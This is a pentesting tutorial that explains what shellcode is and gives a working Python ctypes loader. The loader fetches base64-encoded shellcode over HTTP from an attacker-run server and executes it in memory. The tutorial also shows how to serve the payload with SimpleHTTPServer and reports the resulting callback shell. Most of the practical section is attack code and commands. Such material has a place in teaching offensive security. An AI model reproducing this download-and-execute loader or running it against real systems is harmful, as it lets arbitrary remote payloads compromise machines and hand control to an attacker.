What Is Shellcode
In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called “shellcode” because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode is insufficient. However, attempts at replacing the term have not gained wide acceptance. Shellcode is commonly written in machine code.
Pythonic Shellcode Execution
There might come a time when you want to be able to interact with one of your target machines, or use a juicy new exploit module from your favorite penetration testing or exploit framework. This typically—though not always requires some form of shellcode execution. In order to execute raw shellcode, we simply need to create a buffer in memory, and using the ctypes module, create a function pointer to that memory and call the func- tion. In our case, we’re going to use urllib2 to grab the shellcode from a web server in base64 format and then execute it.
Let’s get started! Open up shell_exec.py and enter the following code:
import urllib2 import ctypes import base64 # retrieve the shellcode from our web server url = "http://localhost:8000/shellcode.bin" response = urllib2.urlopen(url) # decode the shellcode from base64 shellcode = base64.b64decode(response.read())
How awesome is that? We kick it off by retrieving our base64-encoded shellcode from our web server.
# create a buffer in memory shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
We then allocate a buffer to hold the shellcode after we’ve decoded it.
# create a function pointer to our shellcode shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
The ctypes cast function allows us to cast the buffer to act like a function pointer so that we can call our shell- code like we would call any normal Python function.
# call our shellcode shellcode_func()
We finish it up by calling our function pointer, which then causes the shellcode to execute.
Let’s Take It For A Spin
You can handcode some shellcode or use your favorite pentesting frame- work like CANVAS or Metasploit3 to generate it for you. I picked some Windows x86 callback shellcode for CANVAS in my case. Store the raw shellcode (not the string buffer!) in /tmp/shellcode.raw on your Linux machine and run the following:
sudoparatech$ base64 -i shellcode.raw > shellcode.bin sudoparatech$ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...
We simply base64-encoded the shellcode using the standard Linux command line. The next little trick uses the SimpleHTTPServer module to treat your current working directory (in our case, /tmp/) as its web root. Any requests for files will be served automatically for you. Now drop your shell_exec.py script in your Windows VM and execute it. You should see the following in your Linux terminal:
192.168.112.130 - - [12/Jan/2014 21:36:30] "GET /shellcode.bin HTTP/1.1" 200
This indicates that your script has retrieved the shellcode from the simple web server that you set up using the SimpleHTTPServer module. If all goes well, you’ll receive a shell back to your framework, and have popped calc.exe, or displayed a message box or whatever your shellcode was compiled for.